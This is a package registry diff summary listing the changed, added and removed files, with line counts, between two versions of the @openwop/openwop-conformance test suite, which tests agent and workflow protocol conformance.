@openwop/openwop-conformance 1.162.0 → 2.0.0-rc.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +11 -2
- package/dist/cli.js +54 -1
- package/dist/lib/paths.js +25 -3
- package/dist/lib/requirement-ids.js +34 -4
- package/dist/lib/scenario-disposition.js +1 -0
- package/dist/lib/spec-coherence.js +13 -32
- package/dist/spec-artifacts.lock.json +5 -0
- package/package.json +11 -33
- package/requirements.json +20303 -11809
- package/scenario-majors.json +1343 -0
- package/schemas/CORPUS-STAMP.json +138 -6
- package/src/cli.ts +47 -1
- package/src/global-setup.ts +3 -2
- package/src/lib/corpus-stamp.ts +29 -1
- package/src/lib/paths.ts +25 -3
- package/src/lib/requirement-ids.ts +33 -4
- package/src/lib/scenario-disposition.ts +1 -0
- package/src/lib/spec-coherence.ts +15 -32
- package/src/scenarios/a2a-1-0-agent-card.test.ts +17 -16
- package/src/scenarios/a2a-1-0-task-roundtrip.test.ts +11 -10
- package/src/scenarios/a2a-card-runtime-consistency.test.ts +18 -17
- package/src/scenarios/a2a-peer-authority.test.ts +7 -6
- package/src/scenarios/a2a-task-roundtrip.test.ts +30 -29
- package/src/scenarios/a2a-version-negotiation.test.ts +16 -14
- package/src/scenarios/a2ui-surface-degrades.test.ts +5 -3
- package/src/scenarios/a2ui-surface-delta-transport.test.ts +35 -33
- package/src/scenarios/a2ui-surface-replay.test.ts +6 -4
- package/src/scenarios/a2ui-surface-shape.test.ts +11 -10
- package/src/scenarios/a2ui-surface-version-refusal.test.ts +6 -4
- package/src/scenarios/a2ui-untrusted-blocks-approval.test.ts +5 -3
- package/src/scenarios/agent-capability-degraded-projection.test.ts +12 -11
- package/src/scenarios/agent-channel-dispatch.test.ts +18 -16
- package/src/scenarios/agent-deployment-lifecycle.test.ts +20 -19
- package/src/scenarios/agent-deployment-shape.test.ts +22 -24
- package/src/scenarios/agent-eval-run.test.ts +19 -18
- package/src/scenarios/agent-eval-suite-shape.test.ts +20 -22
- package/src/scenarios/agent-live-allowlist-enforced.test.ts +6 -5
- package/src/scenarios/agent-live-invocation-bracket.test.ts +13 -12
- package/src/scenarios/agent-live-runtime-shape.test.ts +10 -12
- package/src/scenarios/agent-live-structured-output.test.ts +7 -6
- package/src/scenarios/agent-loop-iteration-monotonic.test.ts +3 -3
- package/src/scenarios/agent-loop-stateful-resume.test.ts +2 -2
- package/src/scenarios/agent-loop-version5-shape.test.ts +4 -4
- package/src/scenarios/agent-loop-workspace-snapshot.test.ts +3 -3
- package/src/scenarios/agent-manifest-role-profile.test.ts +9 -9
- package/src/scenarios/agent-manifest-runtime.test.ts +13 -12
- package/src/scenarios/agent-org-chart-scoping.test.ts +14 -13
- package/src/scenarios/agent-org-chart-shape.test.ts +11 -13
- package/src/scenarios/agent-platform-aggregate-evidence.test.ts +5 -4
- package/src/scenarios/agent-platform-profile.test.ts +18 -19
- package/src/scenarios/agent-requires-capabilities-shape.test.ts +4 -4
- package/src/scenarios/agent-roster-attribution.test.ts +18 -17
- package/src/scenarios/agent-roster-shape.test.ts +17 -19
- package/src/scenarios/agent-verifier-shape.test.ts +11 -11
- package/src/scenarios/agentConfidenceEscalation.test.ts +2 -1
- package/src/scenarios/agentMemoryCrossTenantIsolation.test.ts +6 -5
- package/src/scenarios/agentMemoryRedactionContract.test.ts +2 -1
- package/src/scenarios/agentMemoryRoundTrip.test.ts +2 -1
- package/src/scenarios/agentMemoryTtlExpiry.test.ts +4 -3
- package/src/scenarios/agentMessageReducer.test.ts +2 -1
- package/src/scenarios/agentMetadata.test.ts +2 -1
- package/src/scenarios/agentPackCatalog.test.ts +23 -21
- package/src/scenarios/agentPackExport.test.ts +4 -2
- package/src/scenarios/agentPackHandoffSchemaValidation.test.ts +5 -4
- package/src/scenarios/agentPackInstall.test.ts +4 -2
- package/src/scenarios/agentPackProvenance.test.ts +2 -1
- package/src/scenarios/agentReasoningEvents.test.ts +3 -2
- package/src/scenarios/agentReasoningStreaming.test.ts +11 -10
- package/src/scenarios/agents-run-tool-allowlist.test.ts +14 -12
- package/src/scenarios/ai-envelope-shape.test.ts +31 -29
- package/src/scenarios/aiEnvelope.capBreached.test.ts +26 -24
- package/src/scenarios/aiEnvelope.contractRefusal.test.ts +36 -34
- package/src/scenarios/aiEnvelope.correlationReplay.test.ts +17 -15
- package/src/scenarios/aiEnvelope.redaction.test.ts +22 -20
- package/src/scenarios/aiEnvelope.schemaDrift.test.ts +18 -16
- package/src/scenarios/aiEnvelope.trustBoundaryPropagation.test.ts +38 -36
- package/src/scenarios/aiEnvelope.universalKinds.test.ts +31 -29
- package/src/scenarios/aiproviders-input-shape.test.ts +5 -5
- package/src/scenarios/aiproviders-realtimevoice-shape.test.ts +14 -16
- package/src/scenarios/aiproviders-selfhosted-honesty.test.ts +6 -4
- package/src/scenarios/aiproviders-selfhosted-shape.test.ts +15 -17
- package/src/scenarios/aiproviders-speechsynth-shape.test.ts +6 -8
- package/src/scenarios/aiproviders-subscription-scope.test.ts +7 -8
- package/src/scenarios/anonymous-actor-audit-opaque.test.ts +9 -8
- package/src/scenarios/anonymous-actor-default-deny.test.ts +10 -9
- package/src/scenarios/anonymous-actor-egress-guarded.test.ts +6 -5
- package/src/scenarios/anonymous-actor-no-secret-reach.test.ts +7 -6
- package/src/scenarios/anonymous-actor-shape.test.ts +17 -19
- package/src/scenarios/anonymous-actor-write-gated.test.ts +9 -8
- package/src/scenarios/append-ordering.test.ts +7 -5
- package/src/scenarios/approval-gate-events.test.ts +4 -3
- package/src/scenarios/approval-gate-flow.test.ts +4 -3
- package/src/scenarios/approval-payload.test.ts +5 -4
- package/src/scenarios/artifact-auth.test.ts +7 -6
- package/src/scenarios/artifact-type-pack-install.test.ts +6 -6
- package/src/scenarios/artifact-type-pack-manifest-validation.test.ts +9 -8
- package/src/scenarios/artifact-type-registration-source.test.ts +20 -20
- package/src/scenarios/artifact-type-store-emission.test.ts +15 -18
- package/src/scenarios/artifact-type-store-without-render.test.ts +4 -4
- package/src/scenarios/audit-log-integrity.test.ts +8 -6
- package/src/scenarios/auth-api-key-rotation.test.ts +11 -9
- package/src/scenarios/auth-mtls.test.ts +22 -20
- package/src/scenarios/auth-oauth2-client-credentials.test.ts +16 -14
- package/src/scenarios/auth-oidc-user-bearer.test.ts +26 -24
- package/src/scenarios/auth-saml-profile.test.ts +14 -12
- package/src/scenarios/auth-scim-profile.test.ts +3 -2
- package/src/scenarios/auth-subject-link-key-class.test.ts +8 -7
- package/src/scenarios/auth-subject-link.test.ts +11 -10
- package/src/scenarios/auth.test.ts +5 -4
- package/src/scenarios/authorization-fail-closed.test.ts +3 -2
- package/src/scenarios/authorization-roles-shape.test.ts +9 -7
- package/src/scenarios/blob-cross-tenant-isolation.test.ts +8 -6
- package/src/scenarios/blob-presign-expiry.test.ts +12 -10
- package/src/scenarios/blob-roundtrip.test.ts +0 -0
- package/src/scenarios/budget-enforcement.test.ts +15 -14
- package/src/scenarios/budget-policy-shape.test.ts +18 -19
- package/src/scenarios/bulk-cancel.test.ts +9 -8
- package/src/scenarios/byok-auth-modes.test.ts +13 -14
- package/src/scenarios/byok-roundtrip.test.ts +12 -10
- package/src/scenarios/cache-cross-tenant-isolation.test.ts +8 -6
- package/src/scenarios/cache-ttl-expiry.test.ts +7 -5
- package/src/scenarios/callai-multimodal.test.ts +5 -3
- package/src/scenarios/cancellation.test.ts +6 -5
- package/src/scenarios/cap-breach.test.ts +15 -14
- package/src/scenarios/capability-arm-witness.test.ts +5 -3
- package/src/scenarios/certification-bundle-non-vacuous.test.ts +20 -19
- package/src/scenarios/certification-bundle-redaction.test.ts +11 -10
- package/src/scenarios/certification-bundle-v2.test.ts +11 -10
- package/src/scenarios/chain-compensation-expansion.test.ts +14 -13
- package/src/scenarios/chain-produced-var-roundtrip.test.ts +13 -14
- package/src/scenarios/chain-subchain-cycle-rejected.test.ts +9 -10
- package/src/scenarios/chain-subchain-fanout.test.ts +8 -9
- package/src/scenarios/chain-subchain-sibling.test.ts +14 -16
- package/src/scenarios/channel-presence-behavioral.test.ts +9 -7
- package/src/scenarios/channel-presence-shape.test.ts +11 -12
- package/src/scenarios/channel-ttl.test.ts +6 -5
- package/src/scenarios/chat-card-pack-execution.test.ts +4 -4
- package/src/scenarios/chat-card-pack-manifest-validation.test.ts +9 -8
- package/src/scenarios/commitment-fired.test.ts +6 -5
- package/src/scenarios/compensation-behavior.test.ts +24 -23
- package/src/scenarios/compensation-recovery.test.ts +28 -27
- package/src/scenarios/configurable-schema.test.ts +8 -6
- package/src/scenarios/conformance-advertised-seam-required.test.ts +6 -5
- package/src/scenarios/conformance-execution-witness.test.ts +9 -8
- package/src/scenarios/connection-pack-apihosts.test.ts +19 -17
- package/src/scenarios/connection-pack-manifest-valid.test.ts +12 -11
- package/src/scenarios/connection-pack-no-credential-material.test.ts +8 -6
- package/src/scenarios/connection-pack-reach-exclusive.test.ts +5 -4
- package/src/scenarios/connection-pack-write-reconsent.test.ts +6 -4
- package/src/scenarios/connection-provider-resolution.test.ts +18 -16
- package/src/scenarios/connector-manifest-validity.test.ts +8 -7
- package/src/scenarios/context-budget-transcript-bound.test.ts +17 -15
- package/src/scenarios/context-summarization-replay.test.ts +14 -12
- package/src/scenarios/contract-provenance.test.ts +18 -18
- package/src/scenarios/conversation-turn-model-provenance-shape.test.ts +14 -15
- package/src/scenarios/conversationCapabilityNegotiation.test.ts +2 -1
- package/src/scenarios/conversationLifecycle.test.ts +2 -1
- package/src/scenarios/conversationReplayDeterminism.test.ts +4 -2
- package/src/scenarios/conversationVsLegacySuspend.test.ts +2 -1
- package/src/scenarios/core-standard-profile.test.ts +8 -9
- package/src/scenarios/cost-attribution.test.ts +23 -21
- package/src/scenarios/credential-payload-redaction.test.ts +4 -3
- package/src/scenarios/credentials-capability-shape.test.ts +5 -4
- package/src/scenarios/cross-engine-append-behavior.test.ts +11 -10
- package/src/scenarios/cross-engine-append-ordering.test.ts +4 -3
- package/src/scenarios/cross-host-ancestry-endpoint.test.ts +11 -10
- package/src/scenarios/cross-host-causation-shape.test.ts +7 -6
- package/src/scenarios/cross-workspace-isolation.test.ts +4 -3
- package/src/scenarios/data-residency-admission.test.ts +15 -14
- package/src/scenarios/deadletter-capability-shape.test.ts +6 -4
- package/src/scenarios/deadletter-retry-exhaustion.test.ts +4 -3
- package/src/scenarios/debug-bundle-truncation.test.ts +9 -7
- package/src/scenarios/debugBundle.test.ts +25 -23
- package/src/scenarios/discovery-families-view.test.ts +5 -4
- package/src/scenarios/discovery.test.ts +30 -29
- package/src/scenarios/dispatch-cross-worker-handoff.test.ts +10 -8
- package/src/scenarios/dispatch-fanout-parallel.test.ts +24 -22
- package/src/scenarios/dispatch-input-mapping.test.ts +12 -10
- package/src/scenarios/dispatch-output-mapping.test.ts +9 -7
- package/src/scenarios/dispatch-per-item-input.test.ts +22 -20
- package/src/scenarios/dispatchLoop.test.ts +3 -2
- package/src/scenarios/distillation-index-roundtrip.test.ts +3 -3
- package/src/scenarios/distillation-secret-carryforward.test.ts +2 -2
- package/src/scenarios/distillation-shape.test.ts +4 -4
- package/src/scenarios/distillation-stable-archive.test.ts +6 -6
- package/src/scenarios/distillation-token-budget.test.ts +5 -5
- package/src/scenarios/durability-poison-exhaustion.test.ts +7 -6
- package/src/scenarios/egress-audience-binding.test.ts +11 -10
- package/src/scenarios/egress-decision-content-free.test.ts +6 -5
- package/src/scenarios/egress-provenance-shape.test.ts +17 -18
- package/src/scenarios/envelope-completion-distinguishes-truncation.test.ts +27 -25
- package/src/scenarios/envelope-nl-to-format-engaged.test.ts +19 -17
- package/src/scenarios/envelope-reasoning-secret-redaction.test.ts +28 -26
- package/src/scenarios/envelope-reasoning-shape.test.ts +19 -17
- package/src/scenarios/envelope-recovery-applied.test.ts +24 -22
- package/src/scenarios/envelope-refusal-shape.test.ts +31 -29
- package/src/scenarios/envelope-rendering-hint.test.ts +5 -4
- package/src/scenarios/envelope-retry-attempted.test.ts +33 -31
- package/src/scenarios/envelope-retry-exhausted.test.ts +22 -20
- package/src/scenarios/envelope-tier-one-subset-static.test.ts +9 -7
- package/src/scenarios/envelope-truncated.test.ts +19 -17
- package/src/scenarios/envelope-truncation-cap-exhaustion.test.ts +19 -17
- package/src/scenarios/envelope-variant-discriminator-static.test.ts +4 -3
- package/src/scenarios/errors.test.ts +20 -19
- package/src/scenarios/eventOrdering.test.ts +16 -14
- package/src/scenarios/exec-not-protocol-tier.test.ts +5 -7
- package/src/scenarios/experimental-tier-shape.test.ts +17 -15
- package/src/scenarios/export-bundle-portability.test.ts +17 -17
- package/src/scenarios/failure-path.test.ts +7 -6
- package/src/scenarios/feedback-capability-shape.test.ts +4 -3
- package/src/scenarios/feedback-correction-redaction.test.ts +2 -1
- package/src/scenarios/feedback-cross-tenant-isolation.test.ts +2 -1
- package/src/scenarios/feedback-fork-not-copied.test.ts +3 -2
- package/src/scenarios/feedback-on-terminal-run.test.ts +3 -2
- package/src/scenarios/feedback-record-and-list.test.ts +2 -1
- package/src/scenarios/feedback-unsupported-501.test.ts +2 -1
- package/src/scenarios/fixtures-gating.test.ts +29 -28
- package/src/scenarios/fixtures-valid.test.ts +16 -15
- package/src/scenarios/form-content-instantiation.test.ts +15 -14
- package/src/scenarios/frontend-plugin-packs.test.ts +29 -27
- package/src/scenarios/fs-path-traversal.test.ts +14 -12
- package/src/scenarios/goal-standing-continuation.test.ts +21 -21
- package/src/scenarios/grpc-transport.test.ts +9 -7
- package/src/scenarios/heartbeat-capability-shape.test.ts +3 -3
- package/src/scenarios/heartbeat-fires-once-per-tick.test.ts +2 -2
- package/src/scenarios/heartbeat-idempotent-no-spam.test.ts +3 -3
- package/src/scenarios/heartbeat-runtime-bound.test.ts +2 -2
- package/src/scenarios/highConcurrency.test.ts +14 -13
- package/src/scenarios/host-callback-declaration.test.ts +8 -7
- package/src/scenarios/http-client-ssrf.test.ts +7 -5
- package/src/scenarios/i18n-negotiation.test.ts +14 -12
- package/src/scenarios/idempotency-concurrent-claim.test.ts +14 -13
- package/src/scenarios/idempotency-key-determinism.test.ts +20 -18
- package/src/scenarios/idempotency.test.ts +8 -7
- package/src/scenarios/idempotencyRetry.test.ts +13 -11
- package/src/scenarios/identity-owner-shape.test.ts +6 -5
- package/src/scenarios/identity-passthrough.test.ts +4 -3
- package/src/scenarios/interrupt-approval.test.ts +6 -5
- package/src/scenarios/interrupt-approver-routing.test.ts +15 -15
- package/src/scenarios/interrupt-auth-required-resume.test.ts +5 -3
- package/src/scenarios/interrupt-clarification.test.ts +4 -3
- package/src/scenarios/interrupt-external-event-correlation.test.ts +6 -5
- package/src/scenarios/interrupt-parent-child-cascade.test.ts +4 -3
- package/src/scenarios/interrupt-quorum-resolution.test.ts +5 -4
- package/src/scenarios/interrupt-token-matrix.test.ts +8 -6
- package/src/scenarios/interruptRace.test.ts +12 -10
- package/src/scenarios/kv-atomic-increment.test.ts +11 -9
- package/src/scenarios/kv-cas.test.ts +14 -12
- package/src/scenarios/kv-cross-tenant-isolation.test.ts +12 -10
- package/src/scenarios/kv-ttl-expiry.test.ts +7 -5
- package/src/scenarios/localized-content-delivery.test.ts +24 -26
- package/src/scenarios/maliciousManifest.test.ts +10 -8
- package/src/scenarios/mcp-2026-07-28-discover.test.ts +15 -14
- package/src/scenarios/mcp-cache-tenant-scope.test.ts +6 -5
- package/src/scenarios/mcp-current-auth-boundary.test.ts +7 -6
- package/src/scenarios/mcp-discoverability.test.ts +9 -7
- package/src/scenarios/mcp-extension-opacity.test.ts +7 -6
- package/src/scenarios/mcp-mrtr-roundtrip.test.ts +18 -17
- package/src/scenarios/mcp-server-elicitation-bridge.test.ts +13 -12
- package/src/scenarios/mcp-server-prompt-roundtrip.test.ts +11 -10
- package/src/scenarios/mcp-server-resource-roundtrip.test.ts +11 -10
- package/src/scenarios/mcp-server-sampling-bridge.test.ts +12 -11
- package/src/scenarios/mcp-server-tool-roundtrip.test.ts +14 -13
- package/src/scenarios/mcp-server-untrusted-args.test.ts +14 -13
- package/src/scenarios/mcp-stateless-request.test.ts +11 -10
- package/src/scenarios/mcp-tool-roundtrip.test.ts +4 -3
- package/src/scenarios/mcp-toolcall-redaction.test.ts +4 -3
- package/src/scenarios/mcp-version-negotiation.test.ts +15 -14
- package/src/scenarios/media-url-inline-cap.test.ts +21 -19
- package/src/scenarios/memory-attribution-emits-on-write.test.ts +5 -5
- package/src/scenarios/memory-attribution-no-content.test.ts +4 -4
- package/src/scenarios/memory-attribution-replay-stable.test.ts +4 -3
- package/src/scenarios/memory-attribution-shape.test.ts +4 -3
- package/src/scenarios/memory-attribution-tenant-scoped.test.ts +3 -3
- package/src/scenarios/memory-capability-model-shape.test.ts +14 -15
- package/src/scenarios/memory-compaction-event-emitted.test.ts +7 -6
- package/src/scenarios/memory-compaction-provenance-tag.test.ts +3 -2
- package/src/scenarios/memory-compaction-sr1-carry-forward.test.ts +7 -6
- package/src/scenarios/memory-consolidation-idempotent.test.ts +5 -4
- package/src/scenarios/memory-consolidation-shape.test.ts +9 -11
- package/src/scenarios/memory-degraded-projection.test.ts +10 -9
- package/src/scenarios/memory-injection-budget.test.ts +15 -14
- package/src/scenarios/metric-emission.test.ts +4 -3
- package/src/scenarios/model-capability-insufficient.test.ts +19 -17
- package/src/scenarios/model-capability-substituted.test.ts +20 -18
- package/src/scenarios/multi-agent-confidence-escalation.test.ts +12 -11
- package/src/scenarios/multi-agent-handoff-state-machine.test.ts +10 -9
- package/src/scenarios/multi-agent-memory-lifecycle.test.ts +11 -10
- package/src/scenarios/multi-node-ordering.test.ts +4 -3
- package/src/scenarios/multi-party-conversation-behavioral.test.ts +6 -6
- package/src/scenarios/multi-party-conversation-shape.test.ts +21 -23
- package/src/scenarios/multi-region-idempotency-behavior.test.ts +16 -15
- package/src/scenarios/multi-region-idempotency.test.ts +6 -5
- package/src/scenarios/node-failed-payload-shape.test.ts +5 -4
- package/src/scenarios/node-module-required-capabilities-shape.test.ts +10 -8
- package/src/scenarios/oauth-authorization-code-roundtrip.test.ts +5 -4
- package/src/scenarios/oauth-capability-shape.test.ts +5 -4
- package/src/scenarios/oauth-connector-redaction.test.ts +4 -3
- package/src/scenarios/openapi-resolved-paths.test.ts +6 -5
- package/src/scenarios/orchestratorConservativePath.test.ts +2 -1
- package/src/scenarios/orchestratorDispatch.test.ts +2 -1
- package/src/scenarios/orchestratorTermination.test.ts +2 -1
- package/src/scenarios/org-position-no-authority-escalation.test.ts +2 -2
- package/src/scenarios/otel-collector-canary-inspection.test.ts +8 -7
- package/src/scenarios/otel-emission-grpc.test.ts +3 -2
- package/src/scenarios/otel-emission.test.ts +6 -5
- package/src/scenarios/otel-trace-propagation-subworkflow.test.ts +7 -6
- package/src/scenarios/otel-trace-propagation.test.ts +2 -1
- package/src/scenarios/owner-subject-echo.test.ts +13 -12
- package/src/scenarios/owner-subject-shape.test.ts +11 -10
- package/src/scenarios/pack-manifest-extension-opacity.test.ts +8 -8
- package/src/scenarios/pack-registry-isolation.test.ts +4 -3
- package/src/scenarios/pack-registry-publish.test.ts +65 -63
- package/src/scenarios/pack-registry.test.ts +38 -36
- package/src/scenarios/pause-resume.test.ts +18 -16
- package/src/scenarios/policies.test.ts +20 -18
- package/src/scenarios/production-backpressure.test.ts +18 -16
- package/src/scenarios/production-retention-expiry.test.ts +8 -6
- package/src/scenarios/profile-discovery-core-alias.test.ts +13 -11
- package/src/scenarios/profileDerivation.test.ts +34 -33
- package/src/scenarios/prompt-all-four-kinds-events.test.ts +11 -9
- package/src/scenarios/prompt-composed-secret-redaction.test.ts +11 -9
- package/src/scenarios/prompt-composed-trust-marker.test.ts +10 -8
- package/src/scenarios/prompt-end-to-end-events.test.ts +17 -15
- package/src/scenarios/prompt-list-and-fetch.test.ts +16 -14
- package/src/scenarios/prompt-mutable-lifecycle.test.ts +13 -11
- package/src/scenarios/prompt-mutation-workspace-membership-enforced.test.ts +6 -4
- package/src/scenarios/prompt-pack-install.test.ts +14 -12
- package/src/scenarios/prompt-prefix-cache.test.ts +19 -17
- package/src/scenarios/prompt-read-workspace-membership-enforced.test.ts +11 -9
- package/src/scenarios/prompt-render-deterministic.test.ts +19 -17
- package/src/scenarios/prompt-resolution-chain-agent-intrinsic.test.ts +7 -5
- package/src/scenarios/prompt-resolution-chain-event.test.ts +12 -10
- package/src/scenarios/prompt-resolution-chain-fallback-cascade.test.ts +10 -8
- package/src/scenarios/prompt-resolution-chain-node-wins.test.ts +8 -6
- package/src/scenarios/prompt-template-shape.test.ts +30 -28
- package/src/scenarios/proposal-reviewable-learning.test.ts +19 -19
- package/src/scenarios/protocol-versions-array.test.ts +10 -9
- package/src/scenarios/provider-usage.test.ts +17 -15
- package/src/scenarios/providerPolicyEnforcement.test.ts +16 -14
- package/src/scenarios/purpose-propagation.test.ts +23 -21
- package/src/scenarios/queue-ack-nack-dlq.test.ts +12 -10
- package/src/scenarios/queue-cross-tenant-isolation.test.ts +8 -6
- package/src/scenarios/queue-publish-consume-roundtrip.test.ts +10 -8
- package/src/scenarios/rate-limit-envelope.test.ts +6 -5
- package/src/scenarios/redaction.test.ts +13 -11
- package/src/scenarios/redactionAdversarial.test.ts +11 -9
- package/src/scenarios/registry-public.test.ts +12 -11
- package/src/scenarios/replay-divergence-at-refusal.test.ts +16 -15
- package/src/scenarios/replay-fanout-suppression.test.ts +16 -15
- package/src/scenarios/replay-fork-arbitrary.test.ts +24 -23
- package/src/scenarios/replay-fork.test.ts +20 -19
- package/src/scenarios/replay-llm-cache-key-portable.test.ts +11 -9
- package/src/scenarios/replay-llm-cache-key.test.ts +22 -21
- package/src/scenarios/replay-observable-sequence-determinism.test.ts +4 -3
- package/src/scenarios/replay-retention-expiry.test.ts +11 -9
- package/src/scenarios/replay-side-effect-suppression.test.ts +21 -19
- package/src/scenarios/replayDeterminism.test.ts +13 -12
- package/src/scenarios/requirement-ledger.test.ts +15 -14
- package/src/scenarios/restart-during-run.test.ts +3 -2
- package/src/scenarios/route-coverage.test.ts +20 -19
- package/src/scenarios/run-diff.test.ts +22 -20
- package/src/scenarios/run-execution-bounds-shape.test.ts +14 -12
- package/src/scenarios/run-transport-economy.test.ts +13 -11
- package/src/scenarios/runner-ledger.test.ts +17 -16
- package/src/scenarios/runs-lifecycle.test.ts +7 -6
- package/src/scenarios/runtime-capabilities.test.ts +12 -10
- package/src/scenarios/runtime-requires-install-gate.test.ts +8 -8
- package/src/scenarios/runtime-requires-shape.test.ts +7 -6
- package/src/scenarios/safefetch-behavior.test.ts +22 -21
- package/src/scenarios/safefetch-live-audit.test.ts +14 -13
- package/src/scenarios/sandbox-memory-cap.test.ts +2 -1
- package/src/scenarios/sandbox-mvp-behavior.test.ts +24 -23
- package/src/scenarios/sandbox-no-host-fs-escape.test.ts +3 -2
- package/src/scenarios/sandbox-timeout-cap.test.ts +2 -1
- package/src/scenarios/sandbox-wasm-isolation.test.ts +14 -15
- package/src/scenarios/sandbox-wasm-timeout.test.ts +5 -6
- package/src/scenarios/scheduling-capability-shape.test.ts +8 -6
- package/src/scenarios/scheduling-cron-fires-once.test.ts +8 -6
- package/src/scenarios/search-bm25-roundtrip.test.ts +8 -6
- package/src/scenarios/secret-leakage-otel-attribute.test.ts +22 -20
- package/src/scenarios/self-hosted-runner.test.ts +26 -24
- package/src/scenarios/semantic-digest-vectors.test.ts +8 -7
- package/src/scenarios/speech-synthesis-roundtrip.test.ts +9 -7
- package/src/scenarios/speech-synthesis-unadvertised.test.ts +5 -3
- package/src/scenarios/sql-injection-rejection.test.ts +8 -6
- package/src/scenarios/sql-transaction-atomicity.test.ts +10 -8
- package/src/scenarios/staleClaim.test.ts +5 -4
- package/src/scenarios/stream-modes-buffer.test.ts +8 -7
- package/src/scenarios/stream-modes-mixed.test.ts +10 -9
- package/src/scenarios/stream-modes.test.ts +12 -11
- package/src/scenarios/stream-subscribe-from-beginning.test.ts +11 -9
- package/src/scenarios/stream-text-fixture.test.ts +14 -13
- package/src/scenarios/streamReconnect.test.ts +13 -11
- package/src/scenarios/strict-behavior-gate.test.ts +9 -8
- package/src/scenarios/subrun-approval-fail-closed.test.ts +2 -2
- package/src/scenarios/subrun-approval-gate.test.ts +3 -3
- package/src/scenarios/subrun-attestation-shape.test.ts +2 -2
- package/src/scenarios/subrun-checksum-stable.test.ts +4 -4
- package/src/scenarios/subworkflow-input-mapping.test.ts +16 -14
- package/src/scenarios/subworkflow.test.ts +10 -9
- package/src/scenarios/table-cross-tenant-isolation.test.ts +8 -6
- package/src/scenarios/table-cursor-pagination.test.ts +8 -6
- package/src/scenarios/table-schema-enforcement.test.ts +7 -5
- package/src/scenarios/test-seam-unauthenticated.test.ts +2 -2
- package/src/scenarios/tool-catalog-compact-projection.test.ts +10 -8
- package/src/scenarios/tool-catalog-projection.test.ts +11 -9
- package/src/scenarios/tool-descriptor-shape.test.ts +14 -15
- package/src/scenarios/tool-hooks-authorization-fail-closed.test.ts +3 -3
- package/src/scenarios/tool-hooks-content-free.test.ts +4 -4
- package/src/scenarios/tool-hooks-failure-honesty.test.ts +4 -4
- package/src/scenarios/tool-hooks-rate-limit.test.ts +2 -2
- package/src/scenarios/tool-hooks-secret-redaction.test.ts +2 -2
- package/src/scenarios/tool-hooks-shape.test.ts +3 -3
- package/src/scenarios/tool-session-lifecycle.test.ts +14 -13
- package/src/scenarios/trigger-bridge-delivery.test.ts +14 -14
- package/src/scenarios/trigger-bridge-shape.test.ts +19 -20
- package/src/scenarios/trigger-ingestion.test.ts +19 -17
- package/src/scenarios/trigger-stream-cdc-sources.test.ts +16 -14
- package/src/scenarios/vector-knn-roundtrip.test.ts +9 -7
- package/src/scenarios/verifier-gating.test.ts +8 -6
- package/src/scenarios/version-fold.test.ts +9 -8
- package/src/scenarios/version-negotiation.test.ts +12 -11
- package/src/scenarios/voice-bargein-no-partial-leak.test.ts +8 -6
- package/src/scenarios/voice-event-payloads-shape.test.ts +10 -11
- package/src/scenarios/voice-interim-not-durable.test.ts +7 -5
- package/src/scenarios/voice-streamref-tenant-bound.test.ts +5 -3
- package/src/scenarios/voice-synthesis-streaming.test.ts +11 -9
- package/src/scenarios/voice-transcription-streaming.test.ts +8 -6
- package/src/scenarios/voice-transcription-unadvertised.test.ts +5 -3
- package/src/scenarios/wasm-pack-abi-version-rejection.test.ts +3 -2
- package/src/scenarios/wasm-pack-invoke-completed.test.ts +3 -2
- package/src/scenarios/wasm-pack-invoke-suspended.test.ts +3 -2
- package/src/scenarios/wasm-pack-load.test.ts +4 -3
- package/src/scenarios/wasm-pack-memory-cap.test.ts +5 -4
- package/src/scenarios/wasm-pack-replay-determinism.test.ts +2 -1
- package/src/scenarios/webhook-negative.test.ts +11 -9
- package/src/scenarios/webhook-receiver-adversarial.test.ts +8 -7
- package/src/scenarios/webhook-sig-algorithm.test.ts +5 -3
- package/src/scenarios/webhook-signed-delivery.test.ts +16 -15
- package/src/scenarios/webhook-tenant-isolation.test.ts +16 -14
- package/src/scenarios/workflow-chain-deferred-parameters.test.ts +28 -30
- package/src/scenarios/workflow-chain-expansion.test.ts +21 -20
- package/src/scenarios/workflow-chain-host-expansion.test.ts +21 -20
- package/src/scenarios/workflow-chain-pack-manifest-validation.test.ts +14 -12
- package/src/scenarios/workflow-chain-pack-signature-verification.test.ts +5 -4
- package/src/scenarios/workflow-chain-unresolvable-typeid.test.ts +9 -8
- package/src/scenarios/workflow-primary-output-annotation.test.ts +7 -6
- package/src/scenarios/workflow-variable-format.test.ts +24 -24
- package/src/scenarios/workload-identity-behavior.test.ts +15 -13
- package/src/scenarios/workload-identity-chain-bounds.test.ts +18 -17
- package/src/scenarios/workspace-behavior.test.ts +19 -18
- package/src/scenarios/workspace-capability-shape.test.ts +3 -2
- package/src/scenarios/workspace-cross-tenant-isolation-blackbox.test.ts +6 -5
- package/src/scenarios/workspace-cross-tenant-isolation.test.ts +7 -6
- package/src/scenarios/x-openwop-form-pack-manifest.test.ts +8 -7
- package/src/setup.ts +4 -2
- package/vitest.config.ts +5 -1
- package/api/.redocly.lint-ignore.yaml +0 -22
- package/api/asyncapi.yaml +0 -834
- package/api/grpc/openwop.proto +0 -251
- package/api/openapi.yaml +0 -2693
- package/api/redocly.yaml +0 -23
- package/schemas/README.md +0 -144
- package/schemas/a2a-task-state.schema.json +0 -78
- package/schemas/a2ui-surface-delta-frame.schema.json +0 -48
- package/schemas/agent-deployment-transition.schema.json +0 -49
- package/schemas/agent-deployment.schema.json +0 -54
- package/schemas/agent-eval-suite.schema.json +0 -140
- package/schemas/agent-inventory-response.schema.json +0 -115
- package/schemas/agent-manifest.schema.json +0 -156
- package/schemas/agent-org-chart.schema.json +0 -82
- package/schemas/agent-ref.schema.json +0 -63
- package/schemas/agent-roster-entry.schema.json +0 -81
- package/schemas/agent-roster-response.schema.json +0 -21
- package/schemas/ai-envelope.schema.json +0 -134
- package/schemas/annotation-create.schema.json +0 -37
- package/schemas/annotation.schema.json +0 -56
- package/schemas/artifact-type-pack-manifest.schema.json +0 -244
- package/schemas/audit-verify-result.schema.json +0 -90
- package/schemas/budget-policy.schema.json +0 -18
- package/schemas/capabilities.schema.json +0 -4124
- package/schemas/certification-bundle-v2.schema.json +0 -118
- package/schemas/channel-presence-payload.schema.json +0 -41
- package/schemas/channel-written-payload.schema.json +0 -55
- package/schemas/chat-card-pack-manifest.schema.json +0 -253
- package/schemas/compact-tool-descriptor.schema.json +0 -51
- package/schemas/compensation-policy.schema.json +0 -64
- package/schemas/conformance-certification-bundle.schema.json +0 -86
- package/schemas/connection-pack-manifest.schema.json +0 -353
- package/schemas/conversation-event.schema.json +0 -168
